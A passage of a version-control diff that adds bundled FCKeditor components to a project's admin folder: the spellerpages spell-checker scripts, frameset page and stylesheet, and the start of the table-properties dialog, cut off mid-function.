+// This file is sourced on web pages that have a textarea object to evaluate
+// for spelling. It includes the implementation for the spellCheckObject.
+//
+////////////////////////////////////////////////////
+
+
+// constructor
+function spellChecker( textObject ) {
+
+	// public properties - configurable
+//	this.popUpUrl = '/speller/spellchecker.html';							// by FredCK
+	this.popUpUrl = 'fck_spellerpages/spellerpages/spellchecker.html';		// by FredCK
+	this.popUpName = 'spellchecker';
+//	this.popUpProps = "menu=no,width=440,height=350,top=70,left=120,resizable=yes,status=yes";	// by FredCK
+	this.popUpProps = null ;																	// by FredCK
+//	this.spellCheckScript = '/speller/server-scripts/spellchecker.php';		// by FredCK
+	this.spellCheckScript = 'server-scripts/spellchecker.php';				// by FredCK
+	//this.spellCheckScript = '/cgi-bin/spellchecker.pl';
+
+	// values used to keep track of what happened to a word
+	this.replWordFlag = "R";	// single replace
+	this.ignrWordFlag = "I";	// single ignore
+	this.replAllFlag = "RA";	// replace all occurances
+	this.ignrAllFlag = "IA";	// ignore all occurances
+	this.fromReplAll = "~RA";	// an occurance of a "replace all" word
+	this.fromIgnrAll = "~IA";	// an occurance of a "ignore all" word
+	// properties set at run time
+	this.wordFlags = new Array();
+	this.currentTextIndex = 0;
+	this.currentWordIndex = 0;
+	this.spellCheckerWin = null;
+	this.controlWin = null;
+	this.wordWin = null;
+	this.textArea = textObject;	// deprecated
+	this.textInputs = arguments; 
+
+	// private methods
+	this._spellcheck = _spellcheck;
+	this._getSuggestions = _getSuggestions;
+	this._setAsIgnored = _setAsIgnored;
+	this._getTotalReplaced = _getTotalReplaced;
+	this._setWordText = _setWordText;
+	this._getFormInputs = _getFormInputs;
+
+	// public methods
+	this.openChecker = openChecker;
+	this.startCheck = startCheck;
+	this.checkTextBoxes = checkTextBoxes;
+	this.checkTextAreas = checkTextAreas;
+	this.spellCheckAll = spellCheckAll;
+	this.ignoreWord = ignoreWord;
+	this.ignoreAll = ignoreAll;
+	this.replaceWord = replaceWord;
+	this.replaceAll = replaceAll;
+	this.terminateSpell = terminateSpell;
+	this.undo = undo;
+
+	// set the current window's "speller" property to the instance of this class.
+	// this object can now be referenced by child windows/frames.
+	window.speller = this;
+}
+
+// call this method to check all text boxes (and only text boxes) in the HTML document
+function checkTextBoxes() {
+	this.textInputs = this._getFormInputs( "^text$" );
+	this.openChecker();
+}
+
+// call this method to check all textareas (and only textareas ) in the HTML document
+function checkTextAreas() {
+	this.textInputs = this._getFormInputs( "^textarea$" );
+	this.openChecker();
+}
+
+// call this method to check all text boxes and textareas in the HTML document
+function spellCheckAll() {
+	this.textInputs = this._getFormInputs( "^text(area)?$" );
+	this.openChecker();
+}
+
+// call this method to check text boxe(s) and/or textarea(s) that were passed in to the
+// object's constructor or to the textInputs property
+function openChecker() {
+	this.spellCheckerWin = window.open( this.popUpUrl, this.popUpName, this.popUpProps );
+	if( !this.spellCheckerWin.opener ) {
+		this.spellCheckerWin.opener = window;
+	}
+}
+
+function startCheck( wordWindowObj, controlWindowObj ) {
+
+	// set properties from args
+	this.wordWin = wordWindowObj;
+	this.controlWin = controlWindowObj;
+	
+	// reset properties
+	this.wordWin.resetForm();
+	this.controlWin.resetForm();
+	this.currentTextIndex = 0;
+	this.currentWordIndex = 0;
+	// initialize the flags to an array - one element for each text input
+	this.wordFlags = new Array( this.wordWin.textInputs.length );
+	// each element will be an array that keeps track of each word in the text
+	for( var i=0; i<this.wordFlags.length; i++ ) {
+		this.wordFlags[i] = [];
+	}
+
+	// start
+	this._spellcheck();
+	
+	return true;
+}
+
+function ignoreWord() {
+	var wi = this.currentWordIndex;
+	var ti = this.currentTextIndex;
+	if( !this.wordWin ) {
+		alert( 'Error: Word frame not available.' );
+		return false;
+	}
+	if( !this.wordWin.getTextVal( ti, wi )) {
+		alert( 'Error: "Not in dictionary" text is missing.' );
+		return false;
+	}
+	// set as ignored
+	if( this._setAsIgnored( ti, wi, this.ignrWordFlag )) {
+		this.currentWordIndex++;
+		this._spellcheck();
+	}
+}
+
+function ignoreAll() {
+	var wi = this.currentWordIndex;
+	var ti = this.currentTextIndex;
+	if( !this.wordWin ) {
+		alert( 'Error: Word frame not available.' );
+		return false;
+	}
+	// get the word that is currently being evaluated.
+	var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+	if( !s_word_to_repl ) {
+		alert( 'Error: "Not in dictionary" text is missing' );
+		return false;
+	}
+
+	// set this word as an "ignore all" word. 
+	this._setAsIgnored( ti, wi, this.ignrAllFlag );
+
+	// loop through all the words after this word
+	for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+		for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+			if(( i == ti && j > wi ) || i > ti ) {
+				// future word: set as "from ignore all" if
+				// 1) do not already have a flag and 
+				// 2) have the same value as current word
+				if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+				&& ( !this.wordFlags[i][j] )) {
+					this._setAsIgnored( i, j, this.fromIgnrAll );
+				}
+			}
+		}
+	}
+
+	// finally, move on
+	this.currentWordIndex++;
+	this._spellcheck();
+}
+
+function replaceWord() {
+	var wi = this.currentWordIndex;
+	var ti = this.currentTextIndex;
+	if( !this.wordWin ) {
+		alert( 'Error: Word frame not available.' );
+		return false;
+	}
+	if( !this.wordWin.getTextVal( ti, wi )) {
+		alert( 'Error: "Not in dictionary" text is missing' );
+		return false;
+	}
+	if( !this.controlWin.replacementText ) {
+		return;
+	}
+	var txt = this.controlWin.replacementText;
+	if( txt.value ) {
+		var newspell = new String( txt.value );
+		if( this._setWordText( ti, wi, newspell, this.replWordFlag )) {
+			this.currentWordIndex++;
+			this._spellcheck();
+		}
+	}
+}
+
+function replaceAll() {
+	var ti = this.currentTextIndex;
+	var wi = this.currentWordIndex;
+	if( !this.wordWin ) {
+		alert( 'Error: Word frame not available.' );
+		return false;
+	}
+	var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+	if( !s_word_to_repl ) {
+		alert( 'Error: "Not in dictionary" text is missing' );
+		return false;
+	}
+	var txt = this.controlWin.replacementText;
+	if( !txt.value ) return;
+	var newspell = new String( txt.value );
+
+	// set this word as a "replace all" word. 
+	this._setWordText( ti, wi, newspell, this.replAllFlag );
+
+	// loop through all the words after this word
+	for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+		for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+			if(( i == ti && j > wi ) || i > ti ) {
+				// future word: set word text to s_word_to_repl if
+				// 1) do not already have a flag and 
+				// 2) have the same value as s_word_to_repl
+				if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+				&& ( !this.wordFlags[i][j] )) {
+					this._setWordText( i, j, newspell, this.fromReplAll );
+				}
+			}
+		}
+	}
+	
+	// finally, move on
+	this.currentWordIndex++;
+	this._spellcheck();
+}
+
+function terminateSpell() {
+	// called when we have reached the end of the spell checking.
+	var msg = "";		// by FredCK
+	var numrepl = this._getTotalReplaced();
+	if( numrepl == 0 ) {
+		// see if there were no misspellings to begin with
+		if( !this.wordWin ) {
+			msg = "";
+		} else {
+			if( this.wordWin.totalMisspellings() ) {
+//				msg += "No words changed.";			// by FredCK
+				msg += FCKLang.DlgSpellNoChanges ;	// by FredCK
+			} else {
+//				msg += "No misspellings found.";	// by FredCK
+				msg += FCKLang.DlgSpellNoMispell ;	// by FredCK
+			}
+		}
+	} else if( numrepl == 1 ) {
+//		msg += "One word changed.";			// by FredCK
+		msg += FCKLang.DlgSpellOneChange ;	// by FredCK
+	} else {
+//		msg += numrepl + " words changed.";	// by FredCK
+		msg += FCKLang.DlgSpellManyChanges.replace( /%1/g, numrepl ) ;
+	}
+	if( msg ) {
+//		msg += "\n";	// by FredCK
+		alert( msg );
+	}
+
+	if( numrepl > 0 ) {
+		// update the text field(s) on the opener window
+		for( var i = 0; i < this.textInputs.length; i++ ) {
+			// this.textArea.value = this.wordWin.text;
+			if( this.wordWin ) {
+				if( this.wordWin.textInputs[i] ) {
+					this.textInputs[i].value = this.wordWin.textInputs[i];
+				}
+			}
+		}
+	}
+
+	// return back to the calling window
+//	this.spellCheckerWin.close();					// by FredCK
+	if ( typeof( this.OnFinished ) == 'function' )	// by FredCK
+		this.OnFinished(numrepl) ;					// by FredCK
+
+	return true;
+}
+
+function undo() {
+	// skip if this is the first word!
+	var ti = this.currentTextIndex;
+	var wi = this.currentWordIndex
+	
+	if( this.wordWin.totalPreviousWords( ti, wi ) > 0 ) {
+		this.wordWin.removeFocus( ti, wi );
+
+		// go back to the last word index that was acted upon 
+		do {
+			// if the current word index is zero then reset the seed
+			if( this.currentWordIndex == 0 && this.currentTextIndex > 0 ) {
+				this.currentTextIndex--;
+				this.currentWordIndex = this.wordWin.totalWords( this.currentTextIndex )-1;
+				if( this.currentWordIndex < 0 ) this.currentWordIndex = 0;
+			} else {
+				if( this.currentWordIndex > 0 ) {
+					this.currentWordIndex--;
+				}
+			}
+		} while ( 
+			this.wordWin.totalWords( this.currentTextIndex ) == 0
+			|| this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromIgnrAll
+			|| this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromReplAll
+		); 
+
+		var text_idx = this.currentTextIndex;
+		var idx = this.currentWordIndex;
+		var preReplSpell = this.wordWin.originalSpellings[text_idx][idx];
+		
+		// if we got back to the first word then set the Undo button back to disabled
+		if( this.wordWin.totalPreviousWords( text_idx, idx ) == 0 ) {
+			this.controlWin.disableUndo();
+		}
+	
+		// examine what happened to this current word.
+		switch( this.wordFlags[text_idx][idx] ) {
+			// replace all: go through this and all the future occurances of the word 
+			// and revert them all to the original spelling and clear their flags
+			case this.replAllFlag :
+				for( var i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+					for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+						if(( i == text_idx && j >= idx ) || i > text_idx ) {
+							var origSpell = this.wordWin.originalSpellings[i][j];
+							if( origSpell == preReplSpell ) {
+								this._setWordText ( i, j, origSpell, undefined );
+							}
+						}
+					}
+				}
+				break;
+				
+			// ignore all: go through all the future occurances of the word 
+			// and clear their flags
+			case this.ignrAllFlag :
+				for( var i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+					for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+						if(( i == text_idx && j >= idx ) || i > text_idx ) {
+							var origSpell = this.wordWin.originalSpellings[i][j];
+							if( origSpell == preReplSpell ) {
+								this.wordFlags[i][j] = undefined; 
+							}
+						}
+					}
+				}
+				break;
+				
+			// replace: revert the word to its original spelling
+			case this.replWordFlag :
+				this._setWordText ( text_idx, idx, preReplSpell, undefined );
+				break;
+		}
+
+		// For all four cases, clear the wordFlag of this word. re-start the process
+		this.wordFlags[text_idx][idx] = undefined; 
+		this._spellcheck();
+	}
+}
+
+function _spellcheck() {
+	var ww = this.wordWin;
+	
+	// check if this is the last word in the current text element
+	if( this.currentWordIndex == ww.totalWords( this.currentTextIndex) ) {
+		this.currentTextIndex++;
+		this.currentWordIndex = 0;
+		// keep going if we're not yet past the last text element
+		if( this.currentTextIndex < this.wordWin.textInputs.length ) {	
+			this._spellcheck();
+			return;
+		} else {
+			this.terminateSpell();
+			return;
+		}
+	}
+	
+	// if this is after the first one make sure the Undo button is enabled
+	if( this.currentWordIndex > 0 ) {
+		this.controlWin.enableUndo();
+	}
+
+	// skip the current word if it has already been worked on
+	if( this.wordFlags[this.currentTextIndex][this.currentWordIndex] ) {
+		// increment the global current word index and move on.
+		this.currentWordIndex++;
+		this._spellcheck();
+	} else {
+		var evalText = ww.getTextVal( this.currentTextIndex, this.currentWordIndex );
+		if( evalText ) {
+			this.controlWin.evaluatedText.value = evalText;
+			ww.setFocus( this.currentTextIndex, this.currentWordIndex );
+			this._getSuggestions( this.currentTextIndex, this.currentWordIndex );
+		}
+	}
+}
+
+function _getSuggestions( text_num, word_num ) {
+	this.controlWin.clearSuggestions();
+	// add suggestion in list for each suggested word.
+	// get the array of suggested words out of the
+	// three-dimensional array containing all suggestions.
+	var a_suggests = this.wordWin.suggestions[text_num][word_num];	
+	if( a_suggests ) {
+		// got an array of suggestions.
+		for( var ii = 0; ii < a_suggests.length; ii++ ) {	
+			this.controlWin.addSuggestion( a_suggests[ii] );
+		}
+	}
+	this.controlWin.selectDefaultSuggestion();
+}
+
+function _setAsIgnored( text_num, word_num, flag ) {
+	// set the UI
+	this.wordWin.removeFocus( text_num, word_num );
+	// do the bookkeeping
+	this.wordFlags[text_num][word_num] = flag;
+	return true;
+}
+
+function _getTotalReplaced() {
+	var i_replaced = 0;
+	for( var i = 0; i < this.wordFlags.length; i++ ) {
+		for( var j = 0; j < this.wordFlags[i].length; j++ ) {
+			if(( this.wordFlags[i][j] == this.replWordFlag )
+			|| ( this.wordFlags[i][j] == this.replAllFlag )
+			|| ( this.wordFlags[i][j] == this.fromReplAll )) {
+				i_replaced++;
+			}
+		}
+	}
+	return i_replaced;
+}
+
+function _setWordText( text_num, word_num, newText, flag ) {
+	// set the UI and form inputs
+	this.wordWin.setText( text_num, word_num, newText );
+	// keep track of what happened to this word:
+	this.wordFlags[text_num][word_num] = flag;
+	return true;
+}
+
+function _getFormInputs( inputPattern ) {
+	var inputs = new Array();
+	for( var i = 0; i < document.forms.length; i++ ) {
+		for( var j = 0; j < document.forms[i].elements.length; j++ ) {
+			if( document.forms[i].elements[j].type.match( inputPattern )) {
+				inputs[inputs.length] = document.forms[i].elements[j]; 
+			}	
+		}
+	}
+	return inputs;
+}
+
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html	(revision 44)
@@ -0,0 +1,71 @@
+
+<script>
+
+var wordWindow = null;
+var controlWindow = null;
+
+function init_spell( spellerWindow ) {
+
+	if( spellerWindow ) {
+		if( spellerWindow.windowType == "wordWindow" ) {
+			wordWindow = spellerWindow;
+		} else if ( spellerWindow.windowType == "controlWindow" ) {
+			controlWindow = spellerWindow;
+		}
+	}
+
+	if( controlWindow && wordWindow ) {
+		// populate the speller object and start it off!
+		var speller = opener.speller;
+		wordWindow.speller = speller;
+		speller.startCheck( wordWindow, controlWindow );
+	}
+}
+
+// encodeForPost
+function encodeForPost( str ) {
+	var s = new String( str );
+	s = encodeURIComponent( s );
+	// additionally encode single quotes to evade any PHP 
+	// magic_quotes_gpc setting (it inserts escape characters and 
+	// therefore skews the btye positions of misspelled words)
+	return s.replace( /\'/g, '%27' );
+}
+
+// post the text area data to the script that populates the speller
+function postWords() {
+	var bodyDoc = window.frames[0].document;
+	bodyDoc.open();
+	bodyDoc.write('<html>');
+	bodyDoc.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8">');
+	bodyDoc.write('<link rel="stylesheet" type="text/css" href="spellerStyle.css"/>');
+	if (opener) {
+		var speller = opener.speller;
+		bodyDoc.write('<body class="normalText" onLoad="document.forms[0].submit();">');
+		bodyDoc.write('<p>' + window.parent.FCKLang.DlgSpellProgress + '<\/p>');		// by FredCK
+		bodyDoc.write('<form action="'+speller.spellCheckScript+'" method="post">');
+		for( var i = 0; i < speller.textInputs.length; i++ ) {
+			bodyDoc.write('<input type="hidden" name="textinputs[]" value="'+encodeForPost(speller.textInputs[i].value)+'">');
+		}
+		bodyDoc.write('<\/form>');
+		bodyDoc.write('<\/body>');
+	} else {
+		bodyDoc.write('<body class="normalText">');
+		bodyDoc.write('<p><b>This page cannot be displayed<\/b><\/p><p>The window was not opened from another window.<\/p>');
+		bodyDoc.write('<\/body>');
+	}
+	bodyDoc.write('<\/html>');
+	bodyDoc.close();
+}
+</script>
+
+<html>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<head>
+<title>Speller Pages</title>
+</head>
+<frameset rows="*,201" onLoad="postWords();">
+<frame src="blank.html">
+<frame src="controls.html">
+</frameset>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css	(revision 44)
@@ -0,0 +1,49 @@
+.blend {
+	font-family: courier new;
+	font-size: 10pt;
+	border: 0;
+	margin-bottom:-1;
+}
+.normalLabel {
+	font-size:8pt;
+}
+.normalText {
+	font-family:arial, helvetica, sans-serif;
+	font-size:10pt;
+	color:000000;
+	background-color:FFFFFF;
+}
+.plainText {
+	font-family: courier new, courier, monospace;
+	font-size: 10pt;
+	color:000000;
+	background-color:FFFFFF;
+}
+.controlWindowBody {
+	font-family:arial, helvetica, sans-serif;
+	font-size:8pt;
+	padding: 7px ;		/* by FredCK */
+	margin: 0px ;		/* by FredCK */
+	/* color:000000;				by FredCK */
+	/* background-color:DADADA;		by FredCK */
+}
+.readonlyInput {
+	background-color:DADADA;
+	color:000000;
+	font-size:8pt;
+	width:392px;
+}
+.textDefault {
+	font-size:8pt;
+	width: 200px;
+}
+.buttonDefault {
+	width:90px;
+	height:22px;
+	font-size:8pt;
+}
+.suggSlct {
+	width:200px;
+	margin-top:2;
+	font-size:8pt;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js	(revision 44)
@@ -0,0 +1,271 @@
+﻿////////////////////////////////////////////////////
+// wordWindow object
+////////////////////////////////////////////////////
+function wordWindow() {
+	// private properties
+	this._forms = [];
+
+	// private methods
+	this._getWordObject = _getWordObject;
+	//this._getSpellerObject = _getSpellerObject;
+	this._wordInputStr = _wordInputStr;
+	this._adjustIndexes = _adjustIndexes;
+	this._isWordChar = _isWordChar;
+	this._lastPos = _lastPos;
+	
+	// public properties
+	this.wordChar = /[a-zA-Z]/;
+	this.windowType = "wordWindow";
+	this.originalSpellings = new Array();
+	this.suggestions = new Array();
+	this.checkWordBgColor = "pink";
+	this.normWordBgColor = "white";
+	this.text = "";
+	this.textInputs = new Array();
+	this.indexes = new Array();
+	//this.speller = this._getSpellerObject();
+
+	// public methods
+	this.resetForm = resetForm;
+	this.totalMisspellings = totalMisspellings;
+	this.totalWords = totalWords;
+	this.totalPreviousWords = totalPreviousWords;
+	//this.getTextObjectArray = getTextObjectArray;
+	this.getTextVal = getTextVal;
+	this.setFocus = setFocus;
+	this.removeFocus = removeFocus;
+	this.setText = setText;
+	//this.getTotalWords = getTotalWords;
+	this.writeBody = writeBody;
+	this.printForHtml = printForHtml;
+}
+
+function resetForm() {
+	if( this._forms ) {
+		for( var i = 0; i < this._forms.length; i++ ) {
+			this._forms[i].reset();
+		}
+	}
+	return true;
+}
+
+function totalMisspellings() {
+	var total_words = 0;
+	for( var i = 0; i < this.textInputs.length; i++ ) {
+		total_words += this.totalWords( i );
+	}
+	return total_words;
+}
+
+function totalWords( textIndex ) {
+	return this.originalSpellings[textIndex].length;
+}
+
+function totalPreviousWords( textIndex, wordIndex ) {
+	var total_words = 0;
+	for( var i = 0; i <= textIndex; i++ ) {
+		for( var j = 0; j < this.totalWords( i ); j++ ) {
+			if( i == textIndex && j == wordIndex ) {
+				break;
+			} else {
+				total_words++;
+			}	
+		}
+	}
+	return total_words;
+}
+
+//function getTextObjectArray() {
+//	return this._form.elements;
+//}
+
+function getTextVal( textIndex, wordIndex ) {
+	var word = this._getWordObject( textIndex, wordIndex );
+	if( word ) {
+		return word.value;
+	}
+}
+
+function setFocus( textIndex, wordIndex ) {
+	var word = this._getWordObject( textIndex, wordIndex );
+	if( word ) {
+		if( word.type == "text" ) {
+			word.focus();
+			word.style.backgroundColor = this.checkWordBgColor;
+		}
+	}
+}
+
+function removeFocus( textIndex, wordIndex ) {
+	var word = this._getWordObject( textIndex, wordIndex );
+	if( word ) {
+		if( word.type == "text" ) {
+			word.blur();
+			word.style.backgroundColor = this.normWordBgColor;
+		}
+	}
+}
+
+function setText( textIndex, wordIndex, newText ) {
+	var word = this._getWordObject( textIndex, wordIndex );
+	var beginStr;
+	var endStr;
+	if( word ) {
+		var pos = this.indexes[textIndex][wordIndex];
+		var oldText = word.value;
+		// update the text given the index of the string
+		beginStr = this.textInputs[textIndex].substring( 0, pos );
+		endStr = this.textInputs[textIndex].substring( 
+			pos + oldText.length, 
+			this.textInputs[textIndex].length 
+		);
+		this.textInputs[textIndex] = beginStr + newText + endStr;
+		
+		// adjust the indexes on the stack given the differences in 
+		// length between the new word and old word. 
+		var lengthDiff = newText.length - oldText.length;
+		this._adjustIndexes( textIndex, wordIndex, lengthDiff );
+		
+		word.size = newText.length;
+		word.value = newText;
+		this.removeFocus( textIndex, wordIndex );
+	}
+}
+
+
+function writeBody() {
+	var d = window.document;
+	var is_html = false;
+
+	d.open();
+
+	// iterate through each text input.
+	for( var txtid = 0; txtid < this.textInputs.length; txtid++ ) {	
+		var end_idx = 0;
+		var begin_idx = 0;	
+		d.writeln( '<form name="textInput'+txtid+'">' );
+		var wordtxt = this.textInputs[txtid];
+		this.indexes[txtid] = [];
+
+		if( wordtxt ) {			
+			var orig = this.originalSpellings[txtid];
+			if( !orig ) break;
+
+			//!!! plain text, or HTML mode?
+			d.writeln( '<div class="plainText">' );
+			// iterate through each occurrence of a misspelled word. 
+			for( var i = 0; i < orig.length; i++ ) {
+				// find the position of the current misspelled word,
+				// starting at the last misspelled word. 
+				// and keep looking if it's a substring of another word
+				do {
+					begin_idx = wordtxt.indexOf( orig[i], end_idx );
+					end_idx = begin_idx + orig[i].length;
+					// word not found? messed up!
+					if( begin_idx == -1 ) break; 
+					// look at the characters immediately before and after 
+					// the word. If they are word characters we'll keep looking.
+					var before_char = wordtxt.charAt( begin_idx - 1 );
+					var after_char = wordtxt.charAt( end_idx );
+				} while ( 
+					this._isWordChar( before_char ) 
+					|| this._isWordChar( after_char )
+				);
+
+				// keep track of its position in the original text. 
+				this.indexes[txtid][i] = begin_idx;
+
+				// write out the characters before the current misspelled word
+				for( var j = this._lastPos( txtid, i ); j < begin_idx; j++ ) {
+					// !!! html mode? make it html compatible
+					d.write( this.printForHtml( wordtxt.charAt( j )));
+				}
+
+				// write out the misspelled word. 
+				d.write( this._wordInputStr( orig[i] ));
+
+				// if it's the last word, write out the rest of the text
+				if( i == orig.length-1 ){
+					d.write( printForHtml( wordtxt.substr( end_idx )));
+				}			
+			}
+
+			d.writeln( '</div>' );
+			
+		}
+		d.writeln( '</form>' );
+	}
+	//for ( var j = 0; j < d.forms.length; j++ ) {
+	//	alert( d.forms[j].name );
+	//	for( var k = 0; k < d.forms[j].elements.length; k++ ) {
+	//		alert( d.forms[j].elements[k].name + ": " + d.forms[j].elements[k].value );
+	//	}
+	//}	
+	
+	// set the _forms property
+	this._forms = d.forms;
+	d.close();
+}
+
+// return the character index in the full text after the last word we evaluated
+function _lastPos( txtid, idx ) {
+	if( idx > 0 )
+		return this.indexes[txtid][idx-1] + this.originalSpellings[txtid][idx-1].length;
+	else
+		return 0;
+}
+
+function printForHtml( n ) {
+	return n ;		// by FredCK
+	
+	var htmlstr = n;
+	if( htmlstr.length == 1 ) {
+		// do simple case statement if it's just one character
+		switch ( n ) {
+			case "\n":
+				htmlstr = '<br/>';
+				break;
+			case "<":
+				htmlstr = '&lt;';
+				break;
+			case ">":
+				htmlstr = '&gt;';
+				break;
+		}
+		return htmlstr;
+	} else {
+		htmlstr = htmlstr.replace( /</g, '&lt' );
+		htmlstr = htmlstr.replace( />/g, '&gt' );
+		htmlstr = htmlstr.replace( /\n/g, '<br/>' );
+		return htmlstr;
+	}
+}
+
+function _isWordChar( letter ) {
+	if( letter.search( this.wordChar ) == -1 ) {
+		return false;
+	} else {
+		return true;
+	}
+}
+
+function _getWordObject( textIndex, wordIndex ) {
+	if( this._forms[textIndex] ) {
+		if( this._forms[textIndex].elements[wordIndex] ) {
+			return this._forms[textIndex].elements[wordIndex];
+		}
+	}
+	return null;
+}
+
+function _wordInputStr( word ) {
+	var str = '<input readonly ';
+	str += 'class="blend" type="text" value="' + word + '" size="' + word.length + '">';
+	return str;
+}
+
+function _adjustIndexes( textIndex, wordIndex, lengthDiff ) {
+	for( var i = wordIndex + 1; i < this.originalSpellings[textIndex].length; i++ ) {
+		this.indexes[textIndex][i] = this.indexes[textIndex][i] + lengthDiff;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_table.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_table.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_table.html	(revision 44)
@@ -0,0 +1,316 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_table.html
+ * 	Table dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>Table Properties</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Gets the table if there is one selected.
+var table ;
+var e = oEditor.FCKSelection.GetSelectedElement() ;
+
+if ( ( !e && document.location.search.substr(1) == 'Parent' ) || ( e && e.tagName != 'TABLE' ) )
+	e = oEditor.FCKSelection.MoveToAncestorNode( 'TABLE' ) ;
+
+if ( e && e.tagName == "TABLE" )
+	table = e ;
+
+// Fired when the window loading process is finished. It sets the fields with the
+// actual values if a table is selected in the editor.
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if (table)
+	{
+		document.getElementById('txtRows').value    = table.rows.length ;
+		document.getElementById('txtColumns').value = table.rows[0].cells.length ;
+
+		// Gets the value from the Width or the Style attribute
+		var iWidth  = (table.style.width  ? table.style.width  : table.width ) ;
+		var iHeight = (table.style.height ? table.style.height : table.height ) ;
+
+		if (iWidth.indexOf('%') >= 0)			// Percentual = %
+		{
+			iWidth = parseInt( iWidth.substr(0,iWidth.length - 1) ) ;
+			document.getElementById('selWidthType').value = "percent" ;
+		}
+		else if (iWidth.indexOf('px') >= 0)		// Style Pixel = px
+		{																										  //
+			iWidth = iWidth.substr(0,iWidth.length - 2);
+			document.getElementById('selWidthType').value = "pixels" ;
+		}
+		
+		if (iHeight && iHeight.indexOf('px') >= 0)		// Style Pixel = px
+			iHeight = iHeight.substr(0,iHeight.length - 2);
+		
+		document.getElementById('txtWidth').value		= iWidth ;
+		document.getElementById('txtHeight').value		= iHeight ;
+		document.getElementById('txtBorder').value		= table.border ;
+		document.getElementById('selAlignment').value	= table.align ;
+		document.getElementById('txtCellPadding').value	= table.cellPadding	;
+		document.getElementById('txtCellSpacing').value	= table.cellSpacing	;
+		document.getElementById('txtSummary').value     = table.summary;
+//		document.getElementById('cmbFontStyle').value	= table.className ;
+
+		if (table.caption) document.getElementById('txtCaption').value = table.caption.innerHTML ;
+		
+		document.getElementById('txtRows').disabled    = true ;
+		document.getElementById('txtColumns').disabled = true ;
+	}
+	
+	window.parent.SetOkButton( true ) ;	
+	window.parent.SetAutoSize( true ) ;	
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+	var bExists = ( table != null ) ;
+	
+	if ( ! bExists )
+	{
+		table = oEditor.FCK.EditorDocument.createElement( "TABLE" ) ;
+	}
+
+	// Removes the Width and Height styles
+	if ( bExists && table.style.width )		table.style.width = null ; //.removeAttribute("width") ;
+	if ( bExists && table.style.height )	table.style.height = null ; //.removeAttribute("height") ;
+	
+	table.width			= document.getElementById('txtWidth').value + ( document.getElementById('selWidthType').value == "percent" ? "%" : "") ;
+	table.height		= document.getElementById('txtHeight').value ;
+	table.border		= document.getElementById('txtBorder').value ;
+	table.align			= document.getElementById('selAlignment').value ;
+	table.cellPadding	= document.getElementById('txtCellPadding').value ;
+	table.cellSpacing	= document.getElementById('txtCellSpacing').value ;
+	table.summary       = document.getElementById('txtSummary').value ;
+//	table.className		= cmbFontStyle.value ;
+	
+	if ( document.getElementById('txtCaption').value != '')
+	{
+		if (! table.caption) table.createCaption() ;
+		table.caption.innerHTML = document.getElementById('txtCaption').value ;
+	}
+	else if ( bExists && table.caption )
+	{
+		if ( document.all )
+			table.caption.innerHTML = '' ;	// TODO: It causes an IE internal error if using removeChild.
+		else
+			table.caption.parentNode.removeChild( table.caption ) ;
+	}
+		
+	if (! bExists)
+	{
+		var iRows = document.getElementById('txtRows').value ;
+		var iCols = document.getElementById('txtColumns').value ;
+		
+		for ( var r = 0 ; r < iRows ; r++ )
+		{
+			var oRow = table.insertRow(-1) ;
+			for ( var c = 0 ; c < iCols ; c++ )
+			{
+				var oCell = oRow.insertCell(-1) ;
